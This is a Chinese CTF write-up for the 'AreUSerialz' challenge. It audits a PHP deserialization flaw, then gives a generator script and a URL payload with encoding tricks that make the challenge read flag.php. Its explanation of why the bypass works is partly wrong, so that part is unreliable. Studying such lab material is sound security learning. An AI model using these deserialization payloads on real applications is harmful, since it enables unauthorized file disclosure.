进入题目页面如下
直接给出源码,进行代码审计
<?php
// 引入 flag.php 文件,该文件可能包含敏感信息,如 flag
include("flag.php");
// 高亮显示当前 PHP 文件(即包含此代码的文件)的源代码,方便调试或展示代码结构
highlight_file(__FILE__);
// 定义一个名为 FileHandler 的类,用于处理文件的读写操作
class FileHandler {
// 定义受保护的属性 $op,用于表示操作类型(如 1 表示写操作,2 表示读操作)
protected $op;
// 定义受保护的属性 $filename,用于存储要操作的文件名
protected $filename;
// 定义受保护的属性 $content,用于存储要写入文件的内容
protected $content;
// 类的构造函数,在创建对象时自动调用
function __construct() {
// 初始化操作类型为 "1",表示写操作
$op = "1";
// 初始化文件名
$filename = "/tmp/tmpfile";
// 初始化要写入文件的内容
$content = "Hello World!";
// 调用 process 方法处理操作
$this->process();
}
// 公共方法,根据 $op 的值选择执行写操作或读操作
public function process() {
if($this->op == "1") {
// 如果 $op 为 "1",调用 write 方法进行写操作
$this->write();
} else if($this->op == "2") {
// 如果 $op 为 "2",调用 read 方法进行读操作,并将结果传递给 output 方法输出
$res = $this->read();
$this->output($res);
} else {
// 如果 $op 不是 "1" 或 "2",输出错误信息
$this->output("Bad Hacker!");
}
}
// 私有方法,用于将 $content 写入 $filename 文件
private function write() {
// 检查 $filename 和 $content 是否都已设置
if(isset($this->filename) && isset($this->content)) {
// 检查 $content 的长度是否超过 100 个字符
if(strlen((string)$this->content) > 100) {
// 如果超过 100 个字符,输出错误信息并终止脚本
$this->output("Too long!");
die();
}
// 将 $content 写入 $filename 文件,并返回写入的字节数
$res = file_put_contents($this->filename, $this->content);
if($res) {
// 如果写入成功,输出成功信息
$this->output("Successful!");
} else {
// 如果写入失败,输出失败信息
$this->output("Failed!");
}
} else {
// 如果 $filename 或 $content 未设置,输出失败信息
$this->output("Failed!");
}
}
// 私有方法,用于读取 $filename 文件的内容
private function read() {
$res = "";
// 检查 $filename 是否已设置
if(isset($this->filename)) {
// 读取 $filename 文件的内容
$res = file_get_contents($this->filename);
}
return $res;
}
// 私有方法,用于输出结果
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
// 类的析构函数,在对象被销毁时自动调用
function __destruct() {
// 如果 $op 严格等于 "2",将 $op 改为 "1"
if($this->op === "2")
$this->op = "1";
// 清空 $content
$this->content = "";
// 再次调用 process 方法处理操作
$this->process();
}
}
// 定义一个验证函数,用于检查字符串是否只包含 ASCII 码在 32 到 125 之间的字符
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
// 检查每个字符的 ASCII 码是否在 32 到 125 之间
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
// 检查是否通过 GET 请求传递了名为 str 的参数
if(isset($_GET{'str'})) {
// 将传递的 str 参数转换为字符串
$str = (string)$_GET['str'];
// 调用 is_valid 函数验证字符串是否合法
if(is_valid($str)) {
// 如果字符串合法,对其进行反序列化操作
$obj = unserialize($str);
}
}
代码审计
反序列化漏洞风险
代码中使用了 unserialize
函数对用户通过 GET 请求传递的 str
参数进行反序列化操作。反序列化操作本身存在安全风险,如果攻击者构造恶意的序列化字符串,可能会触发对象的魔术方法(如 __destruct
),从而执行任意代码或进行其他恶意操作。
输入验证问题
虽然代码中使用了 is_valid
函数对输入的字符串进行验证,要求字符串只包含 ASCII 码在 32 到 125 之间的字符,但这并不能完全防止反序列化漏洞。攻击者仍然可以构造符合该验证规则的恶意序列化字符串。
文件操作风险
FileHandler
类中的 write
和 read
方法涉及文件操作,filename
属性可由攻击者通过反序列化操作控制。攻击者可能会利用这一点读取或写入系统中的敏感文件,如 flag.php
。
利用思路
可以构造一个 FileHandler
对象的序列化字符串,将 filename
属性设置为 flag.php
,并将 op
属性设置为 2
,然后通过 GET 请求传递该序列化字符串。当代码对其进行反序列化时,会触发 __destruct
方法,在 __destruct
方法中会将 op
改为 1
,但由于 __destruct
方法最后会再次调用 process
方法,仍然可以利用这个过程来读取 flag.php
文件的内容。
利用反序列化漏洞来构造恶意的序列化字符串
构造对象:创建一个 FileHandler
类的对象,并将 filename
属性设置为 flag.php
,op
属性设置为 2
,这样在调用 process
方法时会执行读取文件的操作。
序列化对象:将构造好的对象进行序列化,得到序列化字符串。
绕过验证:确保序列化字符串符合 is_valid
函数的验证规则,即只包含 ASCII 码在 32 到 125 之间的字符。
传递序列化字符串:通过 GET 请求将序列化字符串传递给目标 PHP 脚本。
看了这位大佬的博客,才恍然大悟,附上链接
BUUCTF [网鼎杯 2020 青龙组]AreUSerialz 1 (两种解法 超详细!)-优快云博客
脚本
<?php
// 定义 FileHandler 类
class FileHandler {
protected $op = 2;
protected $filename = 'flag.php';
protected $content;
}
// 封装整个处理逻辑的函数
function generateFinalString() {
// 实例化 FileHandler 类并序列化
$serialized = serialize(new FileHandler);
// 对序列化结果进行 URL 编码
$bai = urlencode($serialized);
// 替换 %00 为 \\00
$mao = str_replace('%00', "\\00", $bai);
// 替换 s 为 S
$mao = str_replace('s', 'S', $mao);
return $mao;
}
// 调用函数并输出结果
$result = generateFinalString();
echo $result;
?>
可以使用这个在线工具运行PHP代码
php在线运行,在线工具,在线编译IDE_w3cschool
结果
O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D
payload
?str=O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D
URL传参,ctrl+u查看,最终获得flag